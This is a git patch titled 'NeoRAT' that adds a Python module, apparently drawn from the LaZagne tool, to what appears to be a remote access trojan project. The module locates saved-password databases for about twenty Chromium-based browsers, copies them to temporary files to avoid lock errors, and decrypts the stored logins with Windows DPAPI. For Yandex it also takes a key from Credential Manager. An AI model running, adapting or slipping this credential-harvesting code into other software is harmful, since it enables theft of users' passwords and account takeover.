From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/browsers/chromium_based.py | 203 +++++++++++++++++++++ 1 file changed, 203 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/browsers/chromium_based.py (limited to 'foreign/client_handling/lazagne/softwares/browsers/chromium_based.py') diff --git a/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py new file mode 100644 index 0000000..7fc7e85 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py @@ -0,0 +1,203 @@ +# -*- coding: utf-8 -*- +import base64 +import json +import os +import random +import shutil +import sqlite3 +import string +import tempfile +import traceback + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData +from foreign.client_handling.lazagne.softwares.windows.credman import Credman + + +class ChromiumBased(ModuleInfo): + def __init__(self, browser_name, paths): + self.paths = paths if isinstance(paths, list) else [paths] + self.database_query = 'SELECT action_url, username_value, password_value FROM logins' + ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True) + + def _get_database_dirs(self): + """ + Return database directories for all profiles within all paths + """ + databases = set() + for path in [p.format(**constant.profile) for p in self.paths]: + profiles_path = os.path.join(path, u'Local State') + if os.path.exists(profiles_path): + # List all users profile (empty string means current dir, without a profile) + profiles = {'Default', ''} + + # Automatic join all other additional profiles + for dirs in os.listdir(path): + dirs_path = os.path.join(path, dirs) + if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')): + profiles.extend(dirs) + + with open(profiles_path) as f: + try: + data = json.load(f) + # Add profiles from json to Default profile. set removes duplicates + profiles |= set(data['profile']['info_cache']) + except Exception: + pass + + # Each profile has its own password database + for profile in profiles: + # Some browsers use names other than "Login Data" + # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18" + try: + db_files = os.listdir(os.path.join(path, profile)) + except Exception: + continue + for db in db_files: + if u'login data' in db.lower(): + databases.add(os.path.join(path, profile, db)) + return databases + + def _export_credentials(self, db_path, is_yandex=False): + """ + Export credentials from the given database + + :param unicode db_path: database path + :return: list of credentials + :rtype: tuple + """ + credentials = [] + yandex_enckey = None + + if is_yandex: + try: + credman_passwords = Credman().run() + for credman_password in credman_passwords: + if b'Yandex' in credman_password.get('URL', b''): + if credman_password.get('Password'): + yandex_enckey = credman_password.get('Password') + self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey))) + except Exception: + self.debug(traceback.format_exc()) + # Passwords could not be decrypted without encKey + self.info('EncKey has not been retrieved') + return [] + + try: + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + cursor.execute(self.database_query) + except Exception: + self.debug(traceback.format_exc()) + return credentials + + for url, login, password in cursor.fetchall(): + try: + # Yandex passwords use a masterkey stored on windows credential manager + # https://yandex.com/support/browser-passwords-crypto/without-master.html + if is_yandex and yandex_enckey: + try: + p = json.loads(str(password)) + except Exception: + p = json.loads(password) + + password = base64.b64decode(p['p']) + + # Passwords are stored using AES-256-GCM algorithm + # The key used to encrypt is stored on the credential manager + + # from cryptography.hazmat.primitives.ciphers.aead import AESGCM + # aesgcm = AESGCM(yandex_enckey) + # Failed... + else: + # Decrypt the Password + password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + + if not url and not login and not password: + continue + + credentials.append((url, login, password)) + except Exception: + self.debug(traceback.format_exc()) + + conn.close() + return credentials + + def copy_db(self, database_path): + """ + Copying db will bypass lock errors + Using user tempfile will produce an error when impersonating users (Permission denied) + A public directory should be used if this error occured (e.g C:\\Users\\Public) + """ + random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)]) + root_dir = [ + tempfile.gettempdir(), + os.environ.get('PUBLIC', None), + os.environ.get('SystemDrive', None) + '\\', + ] + for r in root_dir: + try: + temp = os.path.join(r, random_name) + shutil.copy(database_path, temp) + self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp)) + return temp + except Exception: + self.debug(traceback.format_exc()) + return False + + def clean_file(self, db_path): + try: + os.remove(db_path) + except Exception: + self.debug(traceback.format_exc()) + + def run(self): + credentials = [] + for database_path in self._get_database_dirs(): + is_yandex = False if 'yandex' not in database_path.lower() else True + + # Remove Google Chrome false positif + if database_path.endswith('Login Data-journal'): + continue + + self.debug('Database found: {db}'.format(db=database_path)) + + # Copy database before to query it (bypass lock errors) + path = self.copy_db(database_path) + if path: + try: + credentials.extend(self._export_credentials(path, is_yandex)) + except Exception: + self.debug(traceback.format_exc()) + self.clean_file(path) + + return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)] + + +# Name, path or a list of paths +chromium_browsers = [ + (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'), + (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'), + (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'), + (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'), + (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'), + (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'), + (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'), + (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'), + (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based + (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'), + (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'), + (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), + (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), + (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), + (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), + (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), + (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), + (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'), + (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'), + (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data') +] + +chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers] -- cgit v1.2.3